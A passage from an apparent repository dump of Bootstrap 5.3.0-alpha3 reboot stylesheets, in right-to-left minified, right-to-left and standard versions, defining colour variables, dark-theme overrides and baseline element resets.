subtle:#fcfcfd;--bs-dark-bg-subtle:#ced4da;--bs-primary-border-subtle:#9ec5fe;--bs-secondary-border-subtle:#c4c8cb;--bs-success-border-subtle:#a3cfbb;--bs-info-border-subtle:#9eeaf9;--bs-warning-border-subtle:#ffe69c;--bs-danger-border-subtle:#f1aeb5;--bs-light-border-subtle:#e9ecef;--bs-dark-border-subtle:#adb5bd;--bs-white-rgb:255,255,255;--bs-black-rgb:0,0,0;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue","Noto Sans","Liberation Sans",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family:var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight:400;--bs-body-line-height:1.5;--bs-body-color:#212529;--bs-body-color-rgb:33,37,41;--bs-body-bg:#fff;--bs-body-bg-rgb:255,255,255;--bs-emphasis-color:#000;--bs-emphasis-color-rgb:0,0,0;--bs-secondary-color:rgba(33, 37, 41, 0.75);--bs-secondary-color-rgb:33,37,41;--bs-secondary-bg:#e9ecef;--bs-secondary-bg-rgb:233,236,239;--bs-tertiary-color:rgba(33, 37, 41, 0.5);--bs-tertiary-color-rgb:33,37,41;--bs-tertiary-bg:#f8f9fa;--bs-tertiary-bg-rgb:248,249,250;--bs-link-color:#0d6efd;--bs-link-color-rgb:13,110,253;--bs-link-decoration:underline;--bs-link-hover-color:#0a58ca;--bs-link-hover-color-rgb:10,88,202;--bs-code-color:#d63384;--bs-highlight-bg:#fff3cd;--bs-border-width:1px;--bs-border-style:solid;--bs-border-color:#dee2e6;--bs-border-color-translucent:rgba(0, 0, 0, 0.175);--bs-border-radius:0.375rem;--bs-border-radius-sm:0.25rem;--bs-border-radius-lg:0.5rem;--bs-border-radius-xl:1rem;--bs-border-radius-xxl:2rem;--bs-border-radius-2xl:var(--bs-border-radius-xxl);--bs-border-radius-pill:50rem;--bs-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-box-shadow-sm:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075);--bs-box-shadow-lg:0 1rem 3rem rgba(0, 0, 0, 0.175);--bs-box-shadow-inset:inset 0 1px 2px rgba(0, 0, 0, 0.075);--bs-focus-ring-width:0.25rem;--bs-focus-ring-opacity:0.25;--bs-focus-ring-color:rgba(13, 110, 253, 0.25);--bs-form-valid-color:#198754;--bs-form-valid-border-color:#198754;--bs-form-invalid-color:#dc3545;--bs-form-invalid-border-color:#dc3545}[data-bs-theme=dark]{color-scheme:dark;--bs-body-color:#adb5bd;--bs-body-color-rgb:173,181,189;--bs-body-bg:#212529;--bs-body-bg-rgb:33,37,41;--bs-emphasis-color:#fff;--bs-emphasis-color-rgb:255,255,255;--bs-secondary-color:rgba(173, 181, 189, 0.75);--bs-secondary-color-rgb:173,181,189;--bs-secondary-bg:#343a40;--bs-secondary-bg-rgb:52,58,64;--bs-tertiary-color:rgba(173, 181, 189, 0.5);--bs-tertiary-color-rgb:173,181,189;--bs-tertiary-bg:#2b3035;--bs-tertiary-bg-rgb:43,48,53;--bs-primary-text-emphasis:#6ea8fe;--bs-secondary-text-emphasis:#a7acb1;--bs-success-text-emphasis:#75b798;--bs-info-text-emphasis:#6edff6;--bs-warning-text-emphasis:#ffda6a;--bs-danger-text-emphasis:#ea868f;--bs-light-text-emphasis:#f8f9fa;--bs-dark-text-emphasis:#dee2e6;--bs-primary-bg-subtle:#031633;--bs-secondary-bg-subtle:#161719;--bs-success-bg-subtle:#051b11;--bs-info-bg-subtle:#032830;--bs-warning-bg-subtle:#332701;--bs-danger-bg-subtle:#2c0b0e;--bs-light-bg-subtle:#343a40;--bs-dark-bg-subtle:#1a1d20;--bs-primary-border-subtle:#084298;--bs-secondary-border-subtle:#41464b;--bs-success-border-subtle:#0f5132;--bs-info-border-subtle:#087990;--bs-warning-border-subtle:#997404;--bs-danger-border-subtle:#842029;--bs-light-border-subtle:#495057;--bs-dark-border-subtle:#343a40;--bs-link-color:#6ea8fe;--bs-link-hover-color:#8bb9fe;--bs-link-color-rgb:110,168,254;--bs-link-hover-color-rgb:139,185,254;--bs-code-color:#e685b5;--bs-border-color:#495057;--bs-border-color-translucent:rgba(255, 255, 255, 0.15);--bs-form-valid-color:#75b798;--bs-form-valid-border-color:#75b798;--bs-form-invalid-color:#ea868f;--bs-form-invalid-border-color:#ea868f}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}hr{margin:1rem 0;color:inherit;border:0;border-top:var(--bs-border-width) solid;opacity:.25}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2;color:var(--bs-heading-color,inherit)}h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px){h1{font-size:2.5rem}}h2{font-size:calc(1.325rem + .9vw)}@media (min-width:1200px){h2{font-size:2rem}}h3{font-size:calc(1.3rem + .6vw)}@media (min-width:1200px){h3{font-size:1.75rem}}h4{font-size:calc(1.275rem + .3vw)}@media (min-width:1200px){h4{font-size:1.5rem}}h5{font-size:1.25rem}h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-right:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-right:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:.875em}mark{padding:.1875em;background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:rgba(var(--bs-link-color-rgb),var(--bs-link-opacity,1));text-decoration:underline}a:hover{--bs-link-color-rgb:var(--bs-link-hover-color-rgb)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.25rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:var(--bs-secondary-color);text-align:right}th{text-align:inherit;text-align:-webkit-match-parent}tbody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none!important}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:right;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media (min-width:1200px){legend{font-size:1.5rem}}legend+*{clear:right}::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:textfield}[type=email],[type=number],[type=tel],[type=url]{direction:ltr}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none!important} 6 | /*# sourceMappingURL=bootstrap-reboot.rtl.min.css.map */ -------------------------------------------------------------------------------- /public/bootstrap/css/bootstrap-reboot.rtl.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v5.3.0-alpha3 (https://getbootstrap.com/) 3 | * Copyright 2011-2023 The Bootstrap Authors 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) 5 | */ 6 | :root, 7 | [data-bs-theme=light] { 8 | --bs-blue: #0d6efd; 9 | --bs-indigo: #6610f2; 10 | --bs-purple: #6f42c1; 11 | --bs-pink: #d63384; 12 | --bs-red: #dc3545; 13 | --bs-orange: #fd7e14; 14 | --bs-yellow: #ffc107; 15 | --bs-green: #198754; 16 | --bs-teal: #20c997; 17 | --bs-cyan: #0dcaf0; 18 | --bs-black: #000; 19 | --bs-white: #fff; 20 | --bs-gray: #6c757d; 21 | --bs-gray-dark: #343a40; 22 | --bs-gray-100: #f8f9fa; 23 | --bs-gray-200: #e9ecef; 24 | --bs-gray-300: #dee2e6; 25 | --bs-gray-400: #ced4da; 26 | --bs-gray-500: #adb5bd; 27 | --bs-gray-600: #6c757d; 28 | --bs-gray-700: #495057; 29 | --bs-gray-800: #343a40; 30 | --bs-gray-900: #212529; 31 | --bs-primary: #0d6efd; 32 | --bs-secondary: #6c757d; 33 | --bs-success: #198754; 34 | --bs-info: #0dcaf0; 35 | --bs-warning: #ffc107; 36 | --bs-danger: #dc3545; 37 | --bs-light: #f8f9fa; 38 | --bs-dark: #212529; 39 | --bs-primary-rgb: 13, 110, 253; 40 | --bs-secondary-rgb: 108, 117, 125; 41 | --bs-success-rgb: 25, 135, 84; 42 | --bs-info-rgb: 13, 202, 240; 43 | --bs-warning-rgb: 255, 193, 7; 44 | --bs-danger-rgb: 220, 53, 69; 45 | --bs-light-rgb: 248, 249, 250; 46 | --bs-dark-rgb: 33, 37, 41; 47 | --bs-primary-text-emphasis: #052c65; 48 | --bs-secondary-text-emphasis: #2b2f32; 49 | --bs-success-text-emphasis: #0a3622; 50 | --bs-info-text-emphasis: #055160; 51 | --bs-warning-text-emphasis: #664d03; 52 | --bs-danger-text-emphasis: #58151c; 53 | --bs-light-text-emphasis: #495057; 54 | --bs-dark-text-emphasis: #495057; 55 | --bs-primary-bg-subtle: #cfe2ff; 56 | --bs-secondary-bg-subtle: #e2e3e5; 57 | --bs-success-bg-subtle: #d1e7dd; 58 | --bs-info-bg-subtle: #cff4fc; 59 | --bs-warning-bg-subtle: #fff3cd; 60 | --bs-danger-bg-subtle: #f8d7da; 61 | --bs-light-bg-subtle: #fcfcfd; 62 | --bs-dark-bg-subtle: #ced4da; 63 | --bs-primary-border-subtle: #9ec5fe; 64 | --bs-secondary-border-subtle: #c4c8cb; 65 | --bs-success-border-subtle: #a3cfbb; 66 | --bs-info-border-subtle: #9eeaf9; 67 | --bs-warning-border-subtle: #ffe69c; 68 | --bs-danger-border-subtle: #f1aeb5; 69 | --bs-light-border-subtle: #e9ecef; 70 | --bs-dark-border-subtle: #adb5bd; 71 | --bs-white-rgb: 255, 255, 255; 72 | --bs-black-rgb: 0, 0, 0; 73 | --bs-font-sans-serif: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", "Noto Sans", "Liberation Sans", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; 74 | --bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; 75 | --bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0)); 76 | --bs-body-font-family: var(--bs-font-sans-serif); 77 | --bs-body-font-size: 1rem; 78 | --bs-body-font-weight: 400; 79 | --bs-body-line-height: 1.5; 80 | --bs-body-color: #212529; 81 | --bs-body-color-rgb: 33, 37, 41; 82 | --bs-body-bg: #fff; 83 | --bs-body-bg-rgb: 255, 255, 255; 84 | --bs-emphasis-color: #000; 85 | --bs-emphasis-color-rgb: 0, 0, 0; 86 | --bs-secondary-color: rgba(33, 37, 41, 0.75); 87 | --bs-secondary-color-rgb: 33, 37, 41; 88 | --bs-secondary-bg: #e9ecef; 89 | --bs-secondary-bg-rgb: 233, 236, 239; 90 | --bs-tertiary-color: rgba(33, 37, 41, 0.5); 91 | --bs-tertiary-color-rgb: 33, 37, 41; 92 | --bs-tertiary-bg: #f8f9fa; 93 | --bs-tertiary-bg-rgb: 248, 249, 250; 94 | --bs-link-color: #0d6efd; 95 | --bs-link-color-rgb: 13, 110, 253; 96 | --bs-link-decoration: underline; 97 | --bs-link-hover-color: #0a58ca; 98 | --bs-link-hover-color-rgb: 10, 88, 202; 99 | --bs-code-color: #d63384; 100 | --bs-highlight-bg: #fff3cd; 101 | --bs-border-width: 1px; 102 | --bs-border-style: solid; 103 | --bs-border-color: #dee2e6; 104 | --bs-border-color-translucent: rgba(0, 0, 0, 0.175); 105 | --bs-border-radius: 0.375rem; 106 | --bs-border-radius-sm: 0.25rem; 107 | --bs-border-radius-lg: 0.5rem; 108 | --bs-border-radius-xl: 1rem; 109 | --bs-border-radius-xxl: 2rem; 110 | --bs-border-radius-2xl: var(--bs-border-radius-xxl); 111 | --bs-border-radius-pill: 50rem; 112 | --bs-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15); 113 | --bs-box-shadow-sm: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075); 114 | --bs-box-shadow-lg: 0 1rem 3rem rgba(0, 0, 0, 0.175); 115 | --bs-box-shadow-inset: inset 0 1px 2px rgba(0, 0, 0, 0.075); 116 | --bs-focus-ring-width: 0.25rem; 117 | --bs-focus-ring-opacity: 0.25; 118 | --bs-focus-ring-color: rgba(13, 110, 253, 0.25); 119 | --bs-form-valid-color: #198754; 120 | --bs-form-valid-border-color: #198754; 121 | --bs-form-invalid-color: #dc3545; 122 | --bs-form-invalid-border-color: #dc3545; 123 | } 124 | 125 | [data-bs-theme=dark] { 126 | color-scheme: dark; 127 | --bs-body-color: #adb5bd; 128 | --bs-body-color-rgb: 173, 181, 189; 129 | --bs-body-bg: #212529; 130 | --bs-body-bg-rgb: 33, 37, 41; 131 | --bs-emphasis-color: #fff; 132 | --bs-emphasis-color-rgb: 255, 255, 255; 133 | --bs-secondary-color: rgba(173, 181, 189, 0.75); 134 | --bs-secondary-color-rgb: 173, 181, 189; 135 | --bs-secondary-bg: #343a40; 136 | --bs-secondary-bg-rgb: 52, 58, 64; 137 | --bs-tertiary-color: rgba(173, 181, 189, 0.5); 138 | --bs-tertiary-color-rgb: 173, 181, 189; 139 | --bs-tertiary-bg: #2b3035; 140 | --bs-tertiary-bg-rgb: 43, 48, 53; 141 | --bs-primary-text-emphasis: #6ea8fe; 142 | --bs-secondary-text-emphasis: #a7acb1; 143 | --bs-success-text-emphasis: #75b798; 144 | --bs-info-text-emphasis: #6edff6; 145 | --bs-warning-text-emphasis: #ffda6a; 146 | --bs-danger-text-emphasis: #ea868f; 147 | --bs-light-text-emphasis: #f8f9fa; 148 | --bs-dark-text-emphasis: #dee2e6; 149 | --bs-primary-bg-subtle: #031633; 150 | --bs-secondary-bg-subtle: #161719; 151 | --bs-success-bg-subtle: #051b11; 152 | --bs-info-bg-subtle: #032830; 153 | --bs-warning-bg-subtle: #332701; 154 | --bs-danger-bg-subtle: #2c0b0e; 155 | --bs-light-bg-subtle: #343a40; 156 | --bs-dark-bg-subtle: #1a1d20; 157 | --bs-primary-border-subtle: #084298; 158 | --bs-secondary-border-subtle: #41464b; 159 | --bs-success-border-subtle: #0f5132; 160 | --bs-info-border-subtle: #087990; 161 | --bs-warning-border-subtle: #997404; 162 | --bs-danger-border-subtle: #842029; 163 | --bs-light-border-subtle: #495057; 164 | --bs-dark-border-subtle: #343a40; 165 | --bs-link-color: #6ea8fe; 166 | --bs-link-hover-color: #8bb9fe; 167 | --bs-link-color-rgb: 110, 168, 254; 168 | --bs-link-hover-color-rgb: 139, 185, 254; 169 | --bs-code-color: #e685b5; 170 | --bs-border-color: #495057; 171 | --bs-border-color-translucent: rgba(255, 255, 255, 0.15); 172 | --bs-form-valid-color: #75b798; 173 | --bs-form-valid-border-color: #75b798; 174 | --bs-form-invalid-color: #ea868f; 175 | --bs-form-invalid-border-color: #ea868f; 176 | } 177 | 178 | *, 179 | *::before, 180 | *::after { 181 | box-sizing: border-box; 182 | } 183 | 184 | @media (prefers-reduced-motion: no-preference) { 185 | :root { 186 | scroll-behavior: smooth; 187 | } 188 | } 189 | 190 | body { 191 | margin: 0; 192 | font-family: var(--bs-body-font-family); 193 | font-size: var(--bs-body-font-size); 194 | font-weight: var(--bs-body-font-weight); 195 | line-height: var(--bs-body-line-height); 196 | color: var(--bs-body-color); 197 | text-align: var(--bs-body-text-align); 198 | background-color: var(--bs-body-bg); 199 | -webkit-text-size-adjust: 100%; 200 | -webkit-tap-highlight-color: rgba(0, 0, 0, 0); 201 | } 202 | 203 | hr { 204 | margin: 1rem 0; 205 | color: inherit; 206 | border: 0; 207 | border-top: var(--bs-border-width) solid; 208 | opacity: 0.25; 209 | } 210 | 211 | h6, h5, h4, h3, h2, h1 { 212 | margin-top: 0; 213 | margin-bottom: 0.5rem; 214 | font-weight: 500; 215 | line-height: 1.2; 216 | color: var(--bs-heading-color, inherit); 217 | } 218 | 219 | h1 { 220 | font-size: calc(1.375rem + 1.5vw); 221 | } 222 | @media (min-width: 1200px) { 223 | h1 { 224 | font-size: 2.5rem; 225 | } 226 | } 227 | 228 | h2 { 229 | font-size: calc(1.325rem + 0.9vw); 230 | } 231 | @media (min-width: 1200px) { 232 | h2 { 233 | font-size: 2rem; 234 | } 235 | } 236 | 237 | h3 { 238 | font-size: calc(1.3rem + 0.6vw); 239 | } 240 | @media (min-width: 1200px) { 241 | h3 { 242 | font-size: 1.75rem; 243 | } 244 | } 245 | 246 | h4 { 247 | font-size: calc(1.275rem + 0.3vw); 248 | } 249 | @media (min-width: 1200px) { 250 | h4 { 251 | font-size: 1.5rem; 252 | } 253 | } 254 | 255 | h5 { 256 | font-size: 1.25rem; 257 | } 258 | 259 | h6 { 260 | font-size: 1rem; 261 | } 262 | 263 | p { 264 | margin-top: 0; 265 | margin-bottom: 1rem; 266 | } 267 | 268 | abbr[title] { 269 | -webkit-text-decoration: underline dotted; 270 | text-decoration: underline dotted; 271 | cursor: help; 272 | -webkit-text-decoration-skip-ink: none; 273 | text-decoration-skip-ink: none; 274 | } 275 | 276 | address { 277 | margin-bottom: 1rem; 278 | font-style: normal; 279 | line-height: inherit; 280 | } 281 | 282 | ol, 283 | ul { 284 | padding-right: 2rem; 285 | } 286 | 287 | ol, 288 | ul, 289 | dl { 290 | margin-top: 0; 291 | margin-bottom: 1rem; 292 | } 293 | 294 | ol ol, 295 | ul ul, 296 | ol ul, 297 | ul ol { 298 | margin-bottom: 0; 299 | } 300 | 301 | dt { 302 | font-weight: 700; 303 | } 304 | 305 | dd { 306 | margin-bottom: 0.5rem; 307 | margin-right: 0; 308 | } 309 | 310 | blockquote { 311 | margin: 0 0 1rem; 312 | } 313 | 314 | b, 315 | strong { 316 | font-weight: bolder; 317 | } 318 | 319 | small { 320 | font-size: 0.875em; 321 | } 322 | 323 | mark { 324 | padding: 0.1875em; 325 | background-color: var(--bs-highlight-bg); 326 | } 327 | 328 | sub, 329 | sup { 330 | position: relative; 331 | font-size: 0.75em; 332 | line-height: 0; 333 | vertical-align: baseline; 334 | } 335 | 336 | sub { 337 | bottom: -0.25em; 338 | } 339 | 340 | sup { 341 | top: -0.5em; 342 | } 343 | 344 | a { 345 | color: rgba(var(--bs-link-color-rgb), var(--bs-link-opacity, 1)); 346 | text-decoration: underline; 347 | } 348 | a:hover { 349 | --bs-link-color-rgb: var(--bs-link-hover-color-rgb); 350 | } 351 | 352 | a:not([href]):not([class]), a:not([href]):not([class]):hover { 353 | color: inherit; 354 | text-decoration: none; 355 | } 356 | 357 | pre, 358 | code, 359 | kbd, 360 | samp { 361 | font-family: var(--bs-font-monospace); 362 | font-size: 1em; 363 | } 364 | 365 | pre { 366 | display: block; 367 | margin-top: 0; 368 | margin-bottom: 1rem; 369 | overflow: auto; 370 | font-size: 0.875em; 371 | } 372 | pre code { 373 | font-size: inherit; 374 | color: inherit; 375 | word-break: normal; 376 | } 377 | 378 | code { 379 | font-size: 0.875em; 380 | color: var(--bs-code-color); 381 | word-wrap: break-word; 382 | } 383 | a > code { 384 | color: inherit; 385 | } 386 | 387 | kbd { 388 | padding: 0.1875rem 0.375rem; 389 | font-size: 0.875em; 390 | color: var(--bs-body-bg); 391 | background-color: var(--bs-body-color); 392 | border-radius: 0.25rem; 393 | } 394 | kbd kbd { 395 | padding: 0; 396 | font-size: 1em; 397 | } 398 | 399 | figure { 400 | margin: 0 0 1rem; 401 | } 402 | 403 | img, 404 | svg { 405 | vertical-align: middle; 406 | } 407 | 408 | table { 409 | caption-side: bottom; 410 | border-collapse: collapse; 411 | } 412 | 413 | caption { 414 | padding-top: 0.5rem; 415 | padding-bottom: 0.5rem; 416 | color: var(--bs-secondary-color); 417 | text-align: right; 418 | } 419 | 420 | th { 421 | text-align: inherit; 422 | text-align: -webkit-match-parent; 423 | } 424 | 425 | thead, 426 | tbody, 427 | tfoot, 428 | tr, 429 | td, 430 | th { 431 | border-color: inherit; 432 | border-style: solid; 433 | border-width: 0; 434 | } 435 | 436 | label { 437 | display: inline-block; 438 | } 439 | 440 | button { 441 | border-radius: 0; 442 | } 443 | 444 | button:focus:not(:focus-visible) { 445 | outline: 0; 446 | } 447 | 448 | input, 449 | button, 450 | select, 451 | optgroup, 452 | textarea { 453 | margin: 0; 454 | font-family: inherit; 455 | font-size: inherit; 456 | line-height: inherit; 457 | } 458 | 459 | button, 460 | select { 461 | text-transform: none; 462 | } 463 | 464 | [role=button] { 465 | cursor: pointer; 466 | } 467 | 468 | select { 469 | word-wrap: normal; 470 | } 471 | select:disabled { 472 | opacity: 1; 473 | } 474 | 475 | [list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator { 476 | display: none !important; 477 | } 478 | 479 | button, 480 | [type=button], 481 | [type=reset], 482 | [type=submit] { 483 | -webkit-appearance: button; 484 | } 485 | button:not(:disabled), 486 | [type=button]:not(:disabled), 487 | [type=reset]:not(:disabled), 488 | [type=submit]:not(:disabled) { 489 | cursor: pointer; 490 | } 491 | 492 | ::-moz-focus-inner { 493 | padding: 0; 494 | border-style: none; 495 | } 496 | 497 | textarea { 498 | resize: vertical; 499 | } 500 | 501 | fieldset { 502 | min-width: 0; 503 | padding: 0; 504 | margin: 0; 505 | border: 0; 506 | } 507 | 508 | legend { 509 | float: right; 510 | width: 100%; 511 | padding: 0; 512 | margin-bottom: 0.5rem; 513 | font-size: calc(1.275rem + 0.3vw); 514 | line-height: inherit; 515 | } 516 | @media (min-width: 1200px) { 517 | legend { 518 | font-size: 1.5rem; 519 | } 520 | } 521 | legend + * { 522 | clear: right; 523 | } 524 | 525 | ::-webkit-datetime-edit-fields-wrapper, 526 | ::-webkit-datetime-edit-text, 527 | ::-webkit-datetime-edit-minute, 528 | ::-webkit-datetime-edit-hour-field, 529 | ::-webkit-datetime-edit-day-field, 530 | ::-webkit-datetime-edit-month-field, 531 | ::-webkit-datetime-edit-year-field { 532 | padding: 0; 533 | } 534 | 535 | ::-webkit-inner-spin-button { 536 | height: auto; 537 | } 538 | 539 | [type=search] { 540 | outline-offset: -2px; 541 | -webkit-appearance: textfield; 542 | } 543 | 544 | [type="tel"], 545 | [type="url"], 546 | [type="email"], 547 | [type="number"] { 548 | direction: ltr; 549 | } 550 | ::-webkit-search-decoration { 551 | -webkit-appearance: none; 552 | } 553 | 554 | ::-webkit-color-swatch-wrapper { 555 | padding: 0; 556 | } 557 | 558 | ::-webkit-file-upload-button { 559 | font: inherit; 560 | -webkit-appearance: button; 561 | } 562 | 563 | ::file-selector-button { 564 | font: inherit; 565 | -webkit-appearance: button; 566 | } 567 | 568 | output { 569 | display: inline-block; 570 | } 571 | 572 | iframe { 573 | border: 0; 574 | } 575 | 576 | summary { 577 | display: list-item; 578 | cursor: pointer; 579 | } 580 | 581 | progress { 582 | vertical-align: baseline; 583 | } 584 | 585 | [hidden] { 586 | display: none !important; 587 | } 588 | /*# sourceMappingURL=bootstrap-reboot.rtl.css.map */ -------------------------------------------------------------------------------- /public/bootstrap/css/bootstrap-reboot.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v5.3.0-alpha3 (https://getbootstrap.com/) 3 | * Copyright 2011-2023 The Bootstrap Authors 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) 5 | */ 6 | :root, 7 | [data-bs-theme=light] { 8 | --bs-blue: #0d6efd; 9 | --bs-indigo: #6610f2; 10 | --bs-purple: #6f42c1; 11 | --bs-pink: #d63384; 12 | --bs-red: #dc3545; 13 | --bs-orange: #fd7e14; 14 | --bs-yellow: #ffc107; 15 | --bs-green: #198754; 16 | --bs-teal: #20c997; 17 | --bs-cyan: #0dcaf0; 18 | --bs-black: #000; 19 | --bs-white: #fff; 20 | --bs-gray: #6c757d; 21 | --bs-gray-dark: #343a40; 22 | --bs-gray-100: #f8f9fa; 23 | --bs-gray-200: #e9ecef; 24 | --bs-gray-300: #dee2e6; 25 | --bs-gray-400: #ced4da; 26 | --bs-gray-500: #adb5bd; 27 | --bs-gray-600: #6c757d; 28 | --bs-gray-700: #495057; 29 | --bs-gray-800: #343a40; 30 | --bs-gray-900: #212529; 31 | --bs-primary: #0d6efd; 32 | --bs-secondary: #6c757d; 33 | --bs-success: #198754; 34 | --bs-info: #0dcaf0; 35 | --bs-warning: #ffc107; 36 | --bs-danger: #dc3545; 37 | --bs-light: #f8f9fa; 38 | --bs-dark: #212529; 39 | --bs-primary-rgb: 13, 110, 253; 40 | --bs-secondary-rgb: 108, 117, 125; 41 | --bs-success-rgb: 25, 135, 84; 42 | --bs-info-rgb: 13, 202, 240; 43 | --bs-warning-rgb: 255, 193, 7; 44 | --bs-danger-rgb: 220, 53, 69; 45 | --bs-light-rgb: 248, 249, 250; 46 | --bs-dark-rgb: 33, 37, 41; 47 | --bs-primary-text-emphasis: #052c65; 48 | --bs-secondary-text-emphasis: #2b2f32; 49 | --bs-success-text-emphasis: #0a3622; 50 | --bs-info-text-emphasis: #055160; 51 | --bs-warning-text-emphasis: #664d03; 52 | --bs-danger-text-emphasis: #58151c; 53 | --bs-light-text-emphasis: #495057; 54 | --bs-dark-text-emphasis: #495057; 55 | --bs-primary-bg-subtle: #cfe2ff; 56 | --bs-secondary-bg-subtle: #e2e3e5; 57 | --bs-success-bg-subtle: #d1e7dd; 58 | --bs-info-bg-subtle: #cff4fc; 59 | --bs-warning-bg-subtle: #fff3cd; 60 | --bs-danger-bg-subtle: #f8d7da; 61 | --bs-light-bg-subtle: #fcfcfd; 62 | --bs-dark-bg-subtle: #ced4da; 63 | --bs-primary-border-subtle: #9ec5fe; 64 | --bs-secondary-border-subtle: #c4c8cb; 65 | --bs-success-border-subtle: #a3cfbb; 66 | --bs-info-border-subtle: #9eeaf9; 67 | --bs-warning-border-subtle: #ffe69c; 68 | --bs-danger-border-subtle: #f1aeb5; 69 | --bs-light-border-subtle: #e9ecef; 70 | --bs-dark-border-subtle: #adb5bd; 71 | --bs-white-rgb: 255, 255, 255; 72 | --bs-black-rgb: 0, 0, 0; 73 | --bs-font-sans-serif: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", "Noto Sans", "Liberation Sans", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; 74 | --bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; 75 | --bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0)); 76 | --bs-body-font-family: var(--bs-font-sans-serif); 77 | --bs-body-font-size: 1rem; 78 | --bs-body-font-weight: 400; 79 | --bs-body-line-height: 1.5; 80 | --bs-body-color: #212529; 81 | --bs-body-color-rgb: 33, 37, 41; 82 | --bs-body-bg: #fff; 83 | --bs-body-bg-rgb: 255, 255, 255; 84 | --bs-emphasis-color: #000; 85 | --bs-emphasis-color-rgb: 0, 0, 0; 86 | --bs-secondary-color: rgba(33, 37, 41, 0.75); 87 | --bs-secondary-color-rgb: 33, 37, 41; 88 | --bs-secondary-bg: #e9ecef; 89 | --bs-secondary-bg-rgb: 233, 236, 239; 90 | --bs-tertiary-color: rgba(33, 37, 41, 0.5); 91 | --bs-tertiary-color-rgb: 33, 37, 41; 92 | --bs-tertiary-bg: #f8f9fa; 93 | --bs-tertiary-bg-rgb: 248, 